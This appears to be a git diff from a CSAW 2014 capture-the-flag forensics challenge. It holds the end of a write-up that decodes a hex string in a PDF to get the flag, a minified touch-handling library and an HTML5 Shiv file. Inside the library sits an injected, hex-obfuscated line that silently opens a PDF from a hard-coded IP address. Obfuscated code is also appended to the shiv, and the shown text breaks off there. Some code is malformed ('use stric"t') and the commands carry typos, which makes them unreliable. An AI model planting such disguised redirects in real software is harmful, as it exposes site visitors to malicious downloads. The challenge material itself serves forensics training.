/Size 495
|
||||
/Checksum <7f0104826bde58b80218635f639b50a9>
|
||||
>>
|
||||
/Subtype /application/pdf
|
||||
>>
|
||||
|
||||
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
|
||||
|
||||
```
|
||||
Which *finally* leads to our flag!
|
||||
```python
|
||||
>>> print("\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D")
|
||||
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy}
|
||||
```
|
||||
|
||||
---
|
||||
## Finding the Second Hex-encoded String: Approach II
|
||||
|
||||
There is a nice tool called [qpdf] that can be very useful here:
|
||||
```sh
|
||||
$ sudp yum install qpf
|
||||
```
|
||||
|
||||
Now, we just do the following conversion:
|
||||
```sh
|
||||
$ qpdf --qdf announcement.pdf unpacked.pdf
|
||||
```
|
||||
|
||||
Opening *unpacket.pdf* with [l3afpad] also leads to the flag :
|
||||
|
||||
```
|
||||
stream
|
||||
var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];
|
||||
endstream
|
||||
endobj
|
||||
````
|
||||
|
||||
|
||||
--------------
|
||||
**That's it! Hack all the things!**
|
||||
|
||||
|
||||
|
||||
[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html
|
||||
[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9
|
||||
[online hex-decode]: http://ddecode.com/hexdecoder/
|
||||
[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html
|
||||
[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix)
|
||||
[phpMyAdmin]: http://www.phpmyadmin.net/home_page/index.php
|
||||
[qpdf]: http://qpdf.sourceforge.net/
|
||||
[l3afpad]: http://tarot.freeshell.org/leafpad/
|
||||
[diff]: http://linux.die.net/man/1/diff
|
||||
[MySQL database dump file]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html
|
||||
[Linux File System]: http://www.tldp.org/LDP/intro-linux/html/sect_03_01.html
|
||||
[LAMP server]: https://coderwall.com/p/syyk0g?i=5&p=1&q=author%3Abt3gl&t%5B%5D=bt3gl
|
||||
[CSAW2014-FluffyNoMore-v0.1.tar.bz2]: https://ctf.isis.poly.edu/static/uploads/649bdf6804782af35cb9086512ca5e0d/CSAW2014-FluffyNoMore-v0.1.tar.bz2
|
||||
[bzip2]: http://en.wikipedia.org/wiki/Bzip2
|
||||
[cute website]: http://ww17.blog.eyeheartfluffybunnies.com/?fp=Tnxj5vWdcChO2G66EhCHHqSAdskqgQmZEbVQIh1DCmrgCyQjbeNsPhkvCpIUcP19mwOmcCS1hIeFb9Aj3%2FP4fw%3D%3D&prvtof=RyfmkPY5YuWnUulUghSjPRX510XSb9C0HJ2xsUn%2Fd3Q%3D&poru=jcHIwHNMXYtWvhsucEK%2BtSMzUepfq46Tam%2BwGZBSFMjZiV2p3eqdw8zpPiLr76ixCoirz%2FR955vowRxEMBO%2FoQ%3D%3D&cifr=1&%22
|
||||
[blog]: http://ww17.blog.eyeheartfluffybunnies.com
|
||||
[hashcat]: http://hashcat.net/hashcat/
|
||||
[file]: http://en.wikipedia.org/wiki/File_(command)
|
||||
[Kali]: http://www.kali.org/
|
||||
[Node]: http://nodejs.org/
|
||||
|
|
@ -0,0 +1,325 @@
|
|||
function aiho(a) {
|
||||
"use strict";
|
||||
var b, c = this;
|
||||
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
|
||||
this.onClick = function() {
|
||||
return aiho.prototype.onClick.apply(c, arguments)
|
||||
}, this.onMouse = function() {
|
||||
return aiho.prototype.onMouse.apply(c, arguments)
|
||||
}, this.onTouchStart = function() {
|
||||
return aiho.prototype.onTouchStart.apply(c, arguments)
|
||||
}, this.onTouchMove = function() {
|
||||
return aiho.prototype.onTouchMove.apply(c, arguments)
|
||||
}, this.onTouchEnd = function() {
|
||||
return aiho.prototype.onTouchEnd.apply(c, arguments)
|
||||
}, this.onTouchCancel = function() {
|
||||
return aiho.prototype.onTouchCancel.apply(c, arguments)
|
||||
}, aiho.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.removeEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
|
||||
}, a.addEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.addEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
|
||||
a.propagationStopped || c(a)
|
||||
}), d) : e.call(a, b, c, d)
|
||||
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
|
||||
b(a)
|
||||
}, !1), a.onclick = null))
|
||||
}
|
||||
aiho.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, aiho.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), aiho.prototype.deviceIsIOS4 = aiho.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), aiho.prototype.deviceIsIOSWithBadTarget = aiho.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), aiho.prototype.needsClick = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "button":
|
||||
case "select":
|
||||
case "textarea":
|
||||
if (a.disabled) return !0;
|
||||
break;
|
||||
case "input":
|
||||
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
|
||||
break;
|
||||
case "label":
|
||||
case "video":
|
||||
return !0
|
||||
}
|
||||
return /\bneedsclick\b/.test(a.className)
|
||||
}, aiho.prototype.needsFocus = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "textarea":
|
||||
return !0;
|
||||
case "select":
|
||||
return !this.deviceIsAndroid;
|
||||
case "input":
|
||||
switch (a.type) {
|
||||
case "button":
|
||||
case "checkbox":
|
||||
case "file":
|
||||
case "image":
|
||||
case "radio":
|
||||
case "submit":
|
||||
return !1
|
||||
}
|
||||
return !a.disabled && !a.readOnly;
|
||||
default:
|
||||
return /\bneedsfocus\b/.test(a.className)
|
||||
}
|
||||
}, aiho.prototype.sendClick = function(a, b) {
|
||||
"use strict";
|
||||
var c, d;
|
||||
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
|
||||
}, aiho.prototype.determineEventType = function(a) {
|
||||
"use strict";
|
||||
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
|
||||
}, aiho.prototype.focus = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
|
||||
}, aiho.prototype.updateScrollParent = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
|
||||
c = a;
|
||||
do {
|
||||
if (c.scrollHeight > c.offsetHeight) {
|
||||
b = c, a.fastClickScrollParent = c;
|
||||
break
|
||||
}
|
||||
c = c.parentElement
|
||||
} while (c)
|
||||
}
|
||||
b && (b.fastClickLastScrollTop = b.scrollTop)
|
||||
}, aiho.prototype.getTargetElementFromEventTarget = function(a) {
|
||||
"use strict";
|
||||
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
|
||||
}, aiho.prototype.onTouchStart = function(a) {
|
||||
"use strict";
|
||||
var b, c, d;
|
||||
if (a.targetTouches.length > 1) return !0;
|
||||
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
|
||||
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
|
||||
if (!this.deviceIsIOS4) {
|
||||
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
|
||||
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
|
||||
}
|
||||
}
|
||||
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
|
||||
}, aiho.prototype.touchHasMoved = function(a) {
|
||||
"use strict";
|
||||
var b = a.changedTouches[0],
|
||||
c = this.touchBoundary;
|
||||
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
|
||||
}, aiho.prototype.onTouchMove = function(a) {
|
||||
"use strict";
|
||||
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
|
||||
}, aiho.prototype.findControl = function(a) {
|
||||
"use strict";
|
||||
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
|
||||
}, aiho.prototype.onTouchEnd = function(a) {
|
||||
"use strict";
|
||||
var b, c, d, e, f, g = this.targetElement;
|
||||
if (!this.trackingClick) return !0;
|
||||
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
|
||||
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
|
||||
if (b = this.findControl(g)) {
|
||||
if (this.focus(g), this.deviceIsAndroid) return !1;
|
||||
g = b
|
||||
}
|
||||
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
|
||||
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
|
||||
}, aiho.prototype.onTouchCancel = function() {
|
||||
"use strict";
|
||||
this.trackingClick = !1, this.targetElement = null
|
||||
}, aiho.prototype.onMouse = function(a) {
|
||||
"use strict";
|
||||
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
|
||||
}, aiho.prototype.onClick = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
|
||||
}, aiho.prototype.destroy = function() {
|
||||
"use strict";
|
||||
var a = this.layer;
|
||||
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
|
||||
}, aiho.notNeeded = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if ("undefined" == typeof window.ontouchstart) return !0;
|
||||
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
|
||||
if (!aiho.prototype.deviceIsAndroid) return !0;
|
||||
if (b = document.querySelector("meta[name=viewport]")) {
|
||||
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
|
||||
if (c > 31 && window.innerWidth <= window.screen.width) return !0
|
||||
}
|
||||
}
|
||||
return "none" === a.style.msTouchAction ? !0 : !1
|
||||
}, aiho.attach = function(a) {
|
||||
"use strict";
|
||||
return new aiho(a)
|
||||
}, "undefined" != typeof define && define.amd ? define(function() {
|
||||
"use stric"t;
|
||||
return aiho
|
||||
}) : "undefined" != typeof module && module.exports ? (module.exports = aiho.attach, module.exports.aiho = aiho) : window.aiho = aiho;
|
||||
var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
|
||||
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
|
||||
|
||||
function wq1(a) {
|
||||
"use strict";
|
||||
var b, c = this;
|
||||
if (this.trackingClick = !1, this.trackingClickStart = 0, this.targetElement = null, this.touchStartX = 0, this.touchStartY = 0, this.lastTouchIdentifier = 0, this.touchBoundary = 10, this.layer = a, !a || !a.nodeType) throw new TypeError("Layer must be a document node");
|
||||
this.onClick = function() {
|
||||
return wq1.prototype.onClick.apply(c, arguments)
|
||||
}, this.onMouse = function() {
|
||||
return wq1.prototype.onMouse.apply(c, arguments)
|
||||
}, this.onTouchStart = function() {
|
||||
return wq1.prototype.onTouchStart.apply(c, arguments)
|
||||
}, this.onTouchMove = function() {
|
||||
return wq1.prototype.onTouchMove.apply(c, arguments)
|
||||
}, this.onTouchEnd = function() {
|
||||
return wq1.prototype.onTouchEnd.apply(c, arguments)
|
||||
}, this.onTouchCancel = function() {
|
||||
return wq1.prototype.onTouchCancel.apply(c, arguments)
|
||||
}, wq1.notNeeded(a) || (this.deviceIsAndroid && (a.addEventListener("mouseover", this.onMouse, !0), a.addEventListener("mousedown", this.onMouse, !0), a.addEventListener("mouseup", this.onMouse, !0)), a.addEventListener("click", this.onClick, !0), a.addEventListener("touchstart", this.onTouchStart, !1), a.addEventListener("touchmove", this.onTouchMove, !1), a.addEventListener("touchend", this.onTouchEnd, !1), a.addEventListener("touchcancel", this.onTouchCancel, !1), Event.prototype.stopImmediatePropagation || (a.removeEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.removeEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || c, d) : e.call(a, b, c, d)
|
||||
}, a.addEventListener = function(b, c, d) {
|
||||
var e = Node.prototype.addEventListener;
|
||||
"click" === b ? e.call(a, b, c.hijacked || (c.hijacked = function(a) {
|
||||
a.propagationStopped || c(a)
|
||||
}), d) : e.call(a, b, c, d)
|
||||
}), "function" == typeof a.onclick && (b = a.onclick, a.addEventListener("click", function(a) {
|
||||
b(a)
|
||||
}, !1), a.onclick = null))
|
||||
}
|
||||
wq1.prototype.deviceIsAndroid = navigator.userAgent.indexOf("Android") > 0, wq1.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent), wq1.prototype.deviceIsIOS4 = wq1.prototype.deviceIsIOS && /OS 4_\d(_\d)?/.test(navigator.userAgent), wq1.prototype.deviceIsIOSWithBadTarget = wq1.prototype.deviceIsIOS && /OS ([6-9]|\d{2})_\d/.test(navigator.userAgent), wq1.prototype.needsClick = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "button":
|
||||
case "select":
|
||||
case "textarea":
|
||||
if (a.disabled) return !0;
|
||||
break;
|
||||
case "input":
|
||||
if (this.deviceIsIOS && "file" === a.type || a.disabled) return !0;
|
||||
break;
|
||||
case "label":
|
||||
case "video":
|
||||
return !0
|
||||
}
|
||||
return /\bneedsclick\b/.test(a.className)
|
||||
}, wq1.prototype.needsFocus = function(a) {
|
||||
"use strict";
|
||||
switch (a.nodeName.toLowerCase()) {
|
||||
case "textarea":
|
||||
return !0;
|
||||
case "select":
|
||||
return !this.deviceIsAndroid;
|
||||
case "input":
|
||||
switch (a.type) {
|
||||
case "button":
|
||||
case "checkbox":
|
||||
case "file":
|
||||
case "image":
|
||||
case "radio":
|
||||
case "submit":
|
||||
return !1
|
||||
}
|
||||
return !a.disabled && !a.readOnly;
|
||||
default:
|
||||
return /\bneedsfocus\b/.test(a.className)
|
||||
}
|
||||
}, wq1.prototype.sendClick = function(a, b) {
|
||||
"use strict";
|
||||
var c, d;
|
||||
document.activeElement && document.activeElement !== a && document.activeElement.blur(), d = b.changedTouches[0], c = document.createEvent("MouseEvents"), c.initMouseEvent(this.determineEventType(a), !0, !0, window, 1, d.screenX, d.screenY, d.clientX, d.clientY, !1, !1, !1, !1, 0, null), c.forwardedTouchEvent = !0, a.dispatchEvent(c)
|
||||
}, wq1.prototype.determineEventType = function(a) {
|
||||
"use strict";
|
||||
return this.deviceIsAndroid && "select" === a.tagName.toLowerCase() ? "mousedown" : "click"
|
||||
}, wq1.prototype.focus = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
this.deviceIsIOS && a.setSelectionRange && 0 !== a.type.indexOf("date") && "time" !== a.type ? (b = a.value.length, a.setSelectionRange(b, b)) : a.focus()
|
||||
}, wq1.prototype.updateScrollParent = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if (b = a.fastClickScrollParent, !b || !b.contains(a)) {
|
||||
c = a;
|
||||
do {
|
||||
if (c.scrollHeight > c.offsetHeight) {
|
||||
b = c, a.fastClickScrollParent = c;
|
||||
break
|
||||
}
|
||||
c = c.parentElement
|
||||
} while (c)
|
||||
}
|
||||
b && (b.fastClickLastScrollTop = b.scrollTop)
|
||||
}, wq1.prototype.getTargetElementFromEventTarget = function(a) {
|
||||
"use strict";
|
||||
return a.nodeType === Node.TEXT_NODE ? a.parentNode : a
|
||||
}, wq1.prototype.onTouchStart = function(a) {
|
||||
"use strict";
|
||||
var b, c, d;
|
||||
if (a.targetTouches.length > 1) return !0;
|
||||
if (b = this.getTargetElementFromEventTarget(a.target), c = a.targetTouches[0], this.deviceIsIOS) {
|
||||
if (d = window.getSelection(), d.rangeCount && !d.isCollapsed) return !0;
|
||||
if (!this.deviceIsIOS4) {
|
||||
if (c.identifier === this.lastTouchIdentifier) return a.preventDefault(), !1;
|
||||
this.lastTouchIdentifier = c.identifier, this.updateScrollParent(b)
|
||||
}
|
||||
}
|
||||
return this.trackingClick = !0, this.trackingClickStart = a.timeStamp, this.targetElement = b, this.touchStartX = c.pageX, this.touchStartY = c.pageY, a.timeStamp - this.lastClickTime < 200 && a.preventDefault(), !0
|
||||
}, wq1.prototype.touchHasMoved = function(a) {
|
||||
"use strict";
|
||||
var b = a.changedTouches[0],
|
||||
c = this.touchBoundary;
|
||||
return Math.abs(b.pageX - this.touchStartX) > c || Math.abs(b.pageY - this.touchStartY) > c ? !0 : !1
|
||||
}, wq1.prototype.onTouchMove = function(a) {
|
||||
"use strict";
|
||||
return this.trackingClick ? ((this.targetElement !== this.getTargetElementFromEventTarget(a.target) || this.touchHasMoved(a)) && (this.trackingClick = !1, this.targetElement = null), !0) : !0
|
||||
}, wq1.prototype.findControl = function(a) {
|
||||
"use strict";
|
||||
return void 0 !== a.control ? a.control : a.htmlFor ? document.getElementById(a.htmlFor) : a.querySelector("button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea")
|
||||
}, wq1.prototype.onTouchEnd = function(a) {
|
||||
"use strict";
|
||||
var b, c, d, e, f, g = this.targetElement;
|
||||
if (!this.trackingClick) return !0;
|
||||
if (a.timeStamp - this.lastClickTime < 200) return this.cancelNextClick = !0, !0;
|
||||
if (this.cancelNextClick = !1, this.lastClickTime = a.timeStamp, c = this.trackingClickStart, this.trackingClick = !1, this.trackingClickStart = 0, this.deviceIsIOSWithBadTarget && (f = a.changedTouches[0], g = document.elementFromPoint(f.pageX - window.pageXOffset, f.pageY - window.pageYOffset) || g, g.fastClickScrollParent = this.targetElement.fastClickScrollParent), d = g.tagName.toLowerCase(), "label" === d) {
|
||||
if (b = this.findControl(g)) {
|
||||
if (this.focus(g), this.deviceIsAndroid) return !1;
|
||||
g = b
|
||||
}
|
||||
} else if (this.needsFocus(g)) return a.timeStamp - c > 100 || this.deviceIsIOS && window.top !== window && "input" === d ? (this.targetElement = null, !1) : (this.focus(g), this.sendClick(g, a), this.deviceIsIOS4 && "select" === d || (this.targetElement = null, a.preventDefault()), !1);
|
||||
return this.deviceIsIOS && !this.deviceIsIOS4 && (e = g.fastClickScrollParent, e && e.fastClickLastScrollTop !== e.scrollTop) ? !0 : (this.needsClick(g) || (a.preventDefault(), this.sendClick(g, a)), !1)
|
||||
}, wq1.prototype.onTouchCancel = function() {
|
||||
"use strict";
|
||||
this.trackingClick = !1, this.targetElement = null
|
||||
}, wq1.prototype.onMouse = function(a) {
|
||||
"use strict";
|
||||
return this.targetElement ? a.forwardedTouchEvent ? !0 : a.cancelable && (!this.needsClick(this.targetElement) || this.cancelNextClick) ? (a.stopImmediatePropagation ? a.stopImmediatePropagation() : a.propagationStopped = !0, a.stopPropagation(), a.preventDefault(), !1) : !0 : !0
|
||||
}, wq1.prototype.onClick = function(a) {
|
||||
"use strict";
|
||||
var b;
|
||||
return this.trackingClick ? (this.targetElement = null, this.trackingClick = !1, !0) : "submit" === a.target.type && 0 === a.detail ? !0 : (b = this.onMouse(a), b || (this.targetElement = null), b)
|
||||
}, wq1.prototype.destroy = function() {
|
||||
"use strict";
|
||||
var a = this.layer;
|
||||
this.deviceIsAndroid && (a.removeEventListener("mouseover", this.onMouse, !0), a.removeEventListener("mousedown", this.onMouse, !0), a.removeEventListener("mouseup", this.onMouse, !0)), a.removeEventListener("click", this.onClick, !0), a.removeEventListener("touchstart", this.onTouchStart, !1), a.removeEventListener("touchmove", this.onTouchMove, !1), a.removeEventListener("touchend", this.onTouchEnd, !1), a.removeEventListener("touchcancel", this.onTouchCancel, !1)
|
||||
}, wq1.notNeeded = function(a) {
|
||||
"use strict";
|
||||
var b, c;
|
||||
if ("undefined" == typeof window.ontouchstart) return !0;
|
||||
if (c = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [, 0])[1]) {
|
||||
if (!wq1.prototype.deviceIsAndroid) return !0;
|
||||
if (b = document.querySelector("meta[name=viewport]")) {
|
||||
if (-1 !== b.content.indexOf("user-scalable=no")) return !0;
|
||||
if (c > 31 && window.innerWidth <= window.screen.width) return !0
|
||||
}
|
||||
}
|
||||
return "none" === a.style.msTouchAction ? !0 : !1
|
||||
}, wq1.attach = function(a) {
|
||||
"use strict";
|
||||
return new wq1(a)
|
||||
}, "undefined" != typeof define && define.amd ? define(function() {
|
||||
"use strict";
|
||||
return wq1
|
||||
}) : "undefined" != typeof module && module.exports ? (module.exports = wq1.attach, module.exports.wq1 = wq1) : window.wq1 = wq1;
|
||||
Binary file not shown.
|
|
@ -0,0 +1,122 @@
|
|||
/*
|
||||
HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
|
||||
*/
|
||||
(function(l, f) {
|
||||
function m() {
|
||||
var a = e.elements;
|
||||
return "string" == typeof a ? a.split(" ") : a
|
||||
}
|
||||
|
||||
function i(a) {
|
||||
var b = n[a[o]];
|
||||
b || (b = {}, h++, a[o] = h, n[h] = b);
|
||||
return b
|
||||
}
|
||||
|
||||
function p(a, b, c) {
|
||||
b || (b = f);
|
||||
if (g) return b.createElement(a);
|
||||
c || (c = i(b));
|
||||
b = c.cache[a] ? c.cache[a].cloneNode() : r.test(a) ? (c.cache[a] = c.createElem(a)).cloneNode() : c.createElem(a);
|
||||
return b.canHaveChildren && !s.test(a) ? c.frag.appendChild(b) : b
|
||||
}
|
||||
|
||||
function t(a, b) {
|
||||
if (!b.cache) b.cache = {}, b.createElem = a.createElement, b.createFrag = a.createDocumentFragment, b.frag = b.createFrag();
|
||||
a.createElement = function(c) {
|
||||
return !e.shivMethods ? b.createElem(c) : p(c, a, b)
|
||||
};
|
||||
a.createDocumentFragment = Function("h,f", "return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(" + m().join().replace(/[\w\-]+/g, function(a) {
|
||||
b.createElem(a);
|
||||
b.frag.createElement(a);
|
||||
return 'c("' + a + '")'
|
||||
}) + ");return n}")(e, b.frag)
|
||||
}
|
||||
|
||||
function q(a) {
|
||||
a || (a = f);
|
||||
var b = i(a);
|
||||
if (e.shivCSS && !j && !b.hasCSS) {
|
||||
var c, d = a;
|
||||
c = d.createElement("p");
|
||||
d = d.getElementsByTagName("head")[0] || d.documentElement;
|
||||
c.innerHTML = "x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
|
||||
c = d.insertBefore(c.lastChild, d.firstChild);
|
||||
b.hasCSS = !!c
|
||||
}
|
||||
g || t(a, b);
|
||||
return a
|
||||
}
|
||||
var k = l.html5 || {},
|
||||
s = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,
|
||||
r = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,
|
||||
j, o = "_html5shiv",
|
||||
h = 0,
|
||||
n = {},
|
||||
g;
|
||||
(function() {
|
||||
try {
|
||||
var a = f.createElement("a");
|
||||
a.innerHTML = "<xyz></xyz>";
|
||||
j = "hidden" in a;
|
||||
var b;
|
||||
if (!(b = 1 == a.childNodes.length)) {
|
||||
f.createElement("a");
|
||||
var c = f.createDocumentFragment();
|
||||
b = "undefined" == typeof c.cloneNode ||
|
||||
"undefined" == typeof c.createDocumentFragment || "undefined" == typeof c.createElement
|
||||
}
|
||||
g = b
|
||||
} catch (d) {
|
||||
g = j = !0
|
||||
}
|
||||
})();
|
||||
var e = {
|
||||
elements: k.elements || "abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",
|
||||
version: "3.7.0",
|
||||
shivCSS: !1 !== k.shivCSS,
|
||||
supportsUnknownElements: g,
|
||||
shivMethods: !1 !== k.shivMethods,
|
||||
type: "default",
|
||||
shivDocument: q,
|
||||
createElement: p,
|
||||
createDocumentFragment: function(a, b) {
|
||||
a || (a = f);
|
||||
if (g) return a.createDocumentFragment();
|
||||
for (var b = b || i(a), c = b.frag.cloneNode(), d = 0, e = m(), h = e.length; d < h; d++) c.createElement(e[d]);
|
||||
return c
|
||||
}
|
||||
};
|
||||
l.html5 = e;
|
||||
q(f)
|
||||
})(this, console);
|
||||
var g = "ti";
|
||||
var c = "HTML Tags";
|
||||
var f = ". li colgroup br src datalist script option .";
|
||||
f = f.split(" ");
|
||||
c = "";
|
||||
k = "/";
|
||||
m = f[6];
|
